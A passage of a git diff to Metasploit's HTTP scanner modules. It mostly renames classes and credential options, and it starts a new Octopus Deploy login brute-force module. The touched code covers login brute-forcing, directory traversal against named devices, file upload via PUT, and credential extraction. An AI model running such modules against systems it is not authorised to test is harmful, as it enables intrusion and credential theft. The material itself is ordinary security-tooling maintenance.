datastore['USER_FILE'], userpass_file: datastore['USERPASS_FILE'], - username: datastore['USERNAME'], + username: datastore['HttpUsername'], user_as_pass: datastore['USER_AS_PASS'], ) @@ -181,6 +183,7 @@ class Metasploit3 < Msf::Auxiliary case result.status when Metasploit::Model::Login::Status::SUCCESSFUL print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_data[:private_type] = :password credential_core = create_credential(credential_data) credential_data[:core] = credential_core create_credential_login(credential_data) diff --git a/modules/auxiliary/scanner/http/http_put.rb b/modules/auxiliary/scanner/http/http_put.rb index baf50cc32c..ae076e5169 100644 --- a/modules/auxiliary/scanner/http/http_put.rb +++ b/modules/auxiliary/scanner/http/http_put.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanDir @@ -54,7 +54,7 @@ class Metasploit4 < Msf::Auxiliary # Send a normal HTTP request and see if we successfully uploaded or deleted a file. # If successful, return true, otherwise false. # - def file_exists(path, data) + def file_exists(path, data, ip) begin res = send_request_cgi( { @@ -65,7 +65,7 @@ class Metasploit4 < Msf::Auxiliary }, 20 ).to_s rescue ::Exception => e - print_error("Error: #{e.to_s}") + print_error("#{ip}: Error: #{e.to_s}") return nil end @@ -75,7 +75,7 @@ class Metasploit4 < Msf::Auxiliary # # Do a PUT request to the server. Function returns the HTTP response. # - def do_put(path, data) + def do_put(path, data, ip) begin res = send_request_cgi( { @@ -86,7 +86,7 @@ class Metasploit4 < Msf::Auxiliary }, 20 ) rescue ::Exception => e - print_error("Error: #{e.to_s}") + print_error("#{ip}: Error: #{e.to_s}") return nil end @@ -96,7 +96,7 @@ class Metasploit4 < Msf::Auxiliary # # Do a DELETE request. Function returns the HTTP response. # - def do_delete(path) + def do_delete(path, ip) begin res = send_request_cgi( { @@ -106,7 +106,7 @@ class Metasploit4 < Msf::Auxiliary }, 20 ) rescue ::Exception => e - print_error("Error: #{e.to_s}") + print_error("#{ip}: Error: #{e.to_s}") return nil end @@ -135,11 +135,11 @@ class Metasploit4 < Msf::Auxiliary end # Upload file - res = do_put(path, data) - vprint_status("Reply: #{res.code.to_s}") if not res.nil? + res = do_put(path, data, ip) + vprint_status("#{ip}: Reply: #{res.code.to_s}") if not res.nil? # Check file - if not res.nil? and file_exists(path, data) + if not res.nil? and file_exists(path, data, ip) turl = "#{(ssl ? 'https' : 'http')}://#{ip}:#{rport}#{path}" print_good("File uploaded: #{turl}") report_vuln( @@ -152,7 +152,7 @@ class Metasploit4 < Msf::Auxiliary :exploited_at => Time.now.utc ) else - print_error("File doesn't seem to exist. The upload probably failed.") + print_error("#{ip}: File doesn't seem to exist. The upload probably failed.") end when 'DELETE' @@ -160,18 +160,18 @@ class Metasploit4 < Msf::Auxiliary if path !~ /(.+\.\w+)$/ print_error("You must supply a filename") return - elsif not file_exists(path, data) + elsif not file_exists(path, data, ip) print_error("File is already gone. Will not continue DELETE") return end # Delete our file - res = do_delete(path) - vprint_status("Reply: #{res.code.to_s}") if not res.nil? + res = do_delete(path, ip) + vprint_status("#{ip}: Reply: #{res.code.to_s}") if not res.nil? # Check if DELETE was successful - if res.nil? or file_exists(path, data) - print_error("DELETE failed. File is still there.") + if res.nil? or file_exists(path, data, ip) + print_error("#{ip}: DELETE failed. File is still there.") else turl = "#{(ssl ? 'https' : 'http')}://#{ip}:#{rport}#{path}" print_good("File deleted: #{turl}") diff --git a/modules/auxiliary/scanner/http/http_traversal.rb b/modules/auxiliary/scanner/http/http_traversal.rb index 51774421c0..6f3f92fc8e 100644 --- a/modules/auxiliary/scanner/http/http_traversal.rb +++ b/modules/auxiliary/scanner/http/http_traversal.rb @@ -10,7 +10,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -166,7 +166,7 @@ class Metasploit3 < Msf::Auxiliary req['uri'] = this_path req['headers'] = {'Cookie'=>datastore['COOKIE']} if not datastore['COOKIE'].empty? req['data'] = data if not data.empty? - req['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + req['authorization'] = basic_auth(datastore['HttpUsername'], datastore['HttpPassword']) return req end diff --git a/modules/auxiliary/scanner/http/http_version.rb b/modules/auxiliary/scanner/http/http_version.rb index 10ac45f37a..2482947127 100644 --- a/modules/auxiliary/scanner/http/http_version.rb +++ b/modules/auxiliary/scanner/http/http_version.rb @@ -7,7 +7,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/httpbl_lookup.rb b/modules/auxiliary/scanner/http/httpbl_lookup.rb index 3fdc6c3755..248222bd78 100644 --- a/modules/auxiliary/scanner/http/httpbl_lookup.rb +++ b/modules/auxiliary/scanner/http/httpbl_lookup.rb @@ -6,7 +6,7 @@ require 'msf/core' require "net/dns/resolver" -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/iis_internal_ip.rb b/modules/auxiliary/scanner/http/iis_internal_ip.rb index ab597f3bc7..22258ad680 100644 --- a/modules/auxiliary/scanner/http/iis_internal_ip.rb +++ b/modules/auxiliary/scanner/http/iis_internal_ip.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/influxdb_enum.rb b/modules/auxiliary/scanner/http/influxdb_enum.rb index a4b17dcea8..680b6a8146 100644 --- a/modules/auxiliary/scanner/http/influxdb_enum.rb +++ b/modules/auxiliary/scanner/http/influxdb_enum.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/infovista_enum.rb b/modules/auxiliary/scanner/http/infovista_enum.rb index 293613c0c2..9a63b5f10e 100644 --- a/modules/auxiliary/scanner/http/infovista_enum.rb +++ b/modules/auxiliary/scanner/http/infovista_enum.rb @@ -6,7 +6,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/ipboard_login.rb b/modules/auxiliary/scanner/http/ipboard_login.rb index 2e32e763ef..4cfb5059ef 100644 --- a/modules/auxiliary/scanner/http/ipboard_login.rb +++ b/modules/auxiliary/scanner/http/ipboard_login.rb @@ -3,7 +3,7 @@ require 'msf/core' require 'metasploit/framework/login_scanner/ipboard' require 'metasploit/framework/credential_collection' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -43,7 +43,9 @@ class Metasploit3 < Msf::Auxiliary cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5 + connection_timeout: 5, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] ) ) diff --git a/modules/auxiliary/scanner/http/jboss_status.rb b/modules/auxiliary/scanner/http/jboss_status.rb index 871adfedaa..a50fa71f9f 100644 --- a/modules/auxiliary/scanner/http/jboss_status.rb +++ b/modules/auxiliary/scanner/http/jboss_status.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary def show_results(target_host) print_good("#{rhost}:#{rport} JBoss application server found") - req_table = Rex::Ui::Text::Table.new( + req_table = Rex::Text::Table.new( 'Header' => 'JBoss application server requests', 'Indent' => 1, 'Columns' => ['Client', 'Vhost target', 'Request'] diff --git a/modules/auxiliary/scanner/http/jboss_vulnscan.rb b/modules/auxiliary/scanner/http/jboss_vulnscan.rb index 7c6e5758ab..5f58b1af05 100644 --- a/modules/auxiliary/scanner/http/jboss_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jboss_vulnscan.rb @@ -6,7 +6,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb index 87c640e6be..92a1b8f735 100644 --- a/modules/auxiliary/scanner/http/jenkins_command.rb +++ b/modules/auxiliary/scanner/http/jenkins_command.rb @@ -7,7 +7,7 @@ require 'rex/proto/http' require 'msf/core' require 'cgi' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/jenkins_enum.rb b/modules/auxiliary/scanner/http/jenkins_enum.rb index 88db19fbe7..8cd7393e43 100644 --- a/modules/auxiliary/scanner/http/jenkins_enum.rb +++ b/modules/auxiliary/scanner/http/jenkins_enum.rb @@ -11,7 +11,7 @@ require 'rex/proto/http' require 'msf/core' require 'rexml/document' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner @@ -97,13 +97,13 @@ class Metasploit3 < Msf::Auxiliary case res.code when 200 - print_good("#{uri_path} does not require authentication (200)") + print_good("#{full_uri} - #{uri_path} does not require authentication (200)") report_note({ :type => "jenkins_path", :host => rhost, :port => rport, :proto => 'tcp', - :data => "#{uri_path} does not require authentication (200)", + :data => "#{full_uri} - #{uri_path} does not require authentication (200)", :update => :unique_data }) case app diff --git a/modules/auxiliary/scanner/http/jenkins_login.rb b/modules/auxiliary/scanner/http/jenkins_login.rb index 66bd139aa9..fc40eff6c1 100644 --- a/modules/auxiliary/scanner/http/jenkins_login.rb +++ b/modules/auxiliary/scanner/http/jenkins_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/jenkins' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -51,7 +51,9 @@ class Metasploit3 < Msf::Auxiliary cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 10 + connection_timeout: 10, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] ) ) diff --git a/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb b/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb index 0b355c0e4f..3e5d3b02da 100644 --- a/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb +++ b/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute diff --git a/modules/auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner.rb b/modules/auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner.rb index 87894f3c57..79ee38026a 100644 --- a/modules/auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner.rb +++ b/modules/auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner.rb @@ -6,7 +6,7 @@ require 'uri' require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb b/modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb index 760418ed0a..4e959d20a6 100644 --- a/modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb +++ b/modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb @@ -6,7 +6,7 @@ require 'uri' require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/joomla_pages.rb b/modules/auxiliary/scanner/http/joomla_pages.rb index 66072a6adb..f281195326 100644 --- a/modules/auxiliary/scanner/http/joomla_pages.rb +++ b/modules/auxiliary/scanner/http/joomla_pages.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/joomla_plugins.rb b/modules/auxiliary/scanner/http/joomla_plugins.rb index dee21277e9..16bb6ec313 100644 --- a/modules/auxiliary/scanner/http/joomla_plugins.rb +++ b/modules/auxiliary/scanner/http/joomla_plugins.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/joomla_version.rb b/modules/auxiliary/scanner/http/joomla_version.rb index 3e280c8ad8..c167a2a28c 100644 --- a/modules/auxiliary/scanner/http/joomla_version.rb +++ b/modules/auxiliary/scanner/http/joomla_version.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Joomla include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/linknat_vos_traversal.rb b/modules/auxiliary/scanner/http/linknat_vos_traversal.rb index 668cfc4337..63e5630128 100644 --- a/modules/auxiliary/scanner/http/linknat_vos_traversal.rb +++ b/modules/auxiliary/scanner/http/linknat_vos_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb b/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb index 4b232b66dc..e42c055521 100644 --- a/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb +++ b/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner @@ -33,8 +33,8 @@ class Metasploit3 < Msf::Auxiliary [ OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line", File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]), - OptString.new('USERNAME',[ true, 'User to login with', 'admin']), - OptString.new('PASSWORD',[ true, 'Password to login with', 'password']), + OptString.new('HttpUsername',[ true, 'User to login with', 'admin']), + OptString.new('HttpPassword',[ true, 'Password to login with', 'password']), ], self.class) end @@ -91,8 +91,8 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - user = datastore['USERNAME'] - pass = datastore['PASSWORD'] + user = datastore['HttpUsername'] + pass = datastore['HttpPassword'] vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") diff --git a/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb b/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb index bae0916994..fb0bbcdccd 100644 --- a/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/lucky_punch.rb b/modules/auxiliary/scanner/http/lucky_punch.rb index 8e65e4407c..a558d21ec3 100644 --- a/modules/auxiliary/scanner/http/lucky_punch.rb +++ b/modules/auxiliary/scanner/http/lucky_punch.rb @@ -8,7 +8,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb index 87668dd476..56f51d3877 100644 --- a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb b/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb index 69fe63fff8..e78845afbc 100644 --- a/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb +++ b/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/login_scanner/manageengine_desktop_central' require 'metasploit/framework/credential_collection' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute @@ -46,7 +46,9 @@ class Metasploit3 < Msf::Auxiliary cred_details: @cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5 + connection_timeout: 5, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] ) ) end diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb index 2204a9ecda..3596a665a0 100644 --- a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb +++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb index 3d6acc979a..bc3a91967b 100644 --- a/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb +++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::HttpClient @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Auxiliary workspace_id: myworkspace_id } - cred_table = Rex::Ui::Text::Table.new( + cred_table = Rex::Text::Table.new( 'Header' => 'ManageEngine DeviceExpert User Credentials', 'Indent' => 1, 'Columns' => diff --git a/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb b/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb index 77d6dc7091..5f44f9f3c9 100644 --- a/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb +++ b/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb index 6724111d4e..a23e7ede47 100644 --- a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb +++ b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/mod_negotiation_brute.rb b/modules/auxiliary/scanner/http/mod_negotiation_brute.rb index 0c403db076..4a15cd0776 100644 --- a/modules/auxiliary/scanner/http/mod_negotiation_brute.rb +++ b/modules/auxiliary/scanner/http/mod_negotiation_brute.rb @@ -10,7 +10,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb b/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb index 8fc76e5fe0..691c59099e 100644 --- a/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb +++ b/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb b/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb index 8f60998e85..110daab153 100644 --- a/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb +++ b/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb @@ -7,7 +7,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanDir diff --git a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb index 8a5734b6b9..ef0ddc1d8d 100644 --- a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb +++ b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb @@ -6,7 +6,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/mybook_live_login.rb b/modules/auxiliary/scanner/http/mybook_live_login.rb index caeca141c7..ef26c0074e 100644 --- a/modules/auxiliary/scanner/http/mybook_live_login.rb +++ b/modules/auxiliary/scanner/http/mybook_live_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/mybook_live' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -60,6 +60,8 @@ class Metasploit3 < Msf::Auxiliary stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 10, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] ) ) diff --git a/modules/auxiliary/scanner/http/netdecision_traversal.rb b/modules/auxiliary/scanner/http/netdecision_traversal.rb index 0d6064563a..d4fd40dbbc 100644 --- a/modules/auxiliary/scanner/http/netdecision_traversal.rb +++ b/modules/auxiliary/scanner/http/netdecision_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb index 5f7bb5fc2b..ce68725982 100644 --- a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner @@ -31,8 +31,8 @@ class Metasploit3 < Msf::Auxiliary [ OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line", File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]), - OptString.new('USERNAME',[ true, 'User to login with', 'service']), - OptString.new('PASSWORD',[ true, 'Password to login with', 'service']) + OptString.new('HttpUsername',[ true, 'User to login with', 'service']), + OptString.new('HttpPassword',[ true, 'Password to login with', 'service']) ], self.class) end @@ -82,8 +82,8 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - user = datastore['USERNAME'] - pass = datastore['PASSWORD'] + user = datastore['HttpUsername'] + pass = datastore['HttpPassword'] vprint_status("Trying to login with #{user} / #{pass}") diff --git a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb index b49e3e4137..3ad8698df6 100644 --- a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -83,7 +83,7 @@ class Metasploit3 < Msf::Auxiliary save_source.puts(res.body.to_s) save_source.close - print_status("#{full_uri} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}")) + print_status("#{full_uri} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exist?("#{path_save}#{uri}")) else print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response") diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb index de18f8805b..9b3dd3137e 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb index cabefe1b8f..22a5fbd3ea 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/novell_mdm_creds.rb b/modules/auxiliary/scanner/http/novell_mdm_creds.rb index 3c03a14c2d..7008ed04f3 100644 --- a/modules/auxiliary/scanner/http/novell_mdm_creds.rb +++ b/modules/auxiliary/scanner/http/novell_mdm_creds.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb index 6bcc2dcb1e..b7c4bbfa14 100644 --- a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb +++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/octopusdeploy_login.rb b/modules/auxiliary/scanner/http/octopusdeploy_login.rb new file mode 100644 index 0000000000..0003bf3942 --- /dev/null +++ b/modules/auxiliary/scanner/http/octopusdeploy_login.rb @@ -0,0 +1,77 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/octopusdeploy' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Octopus Deploy Login Utility', + 'Description' => %q{ + This module simply attempts to login to a Octopus Deploy server using a specific + username and password. It has been confirmed to work on version 3.4.4 + }, + 'Author' => [ 'James Otten ' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [true, 'URI for login. Default is /api/users/login', '/api/users/login']) + ], self.class) + end + + def run_host(ip) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: 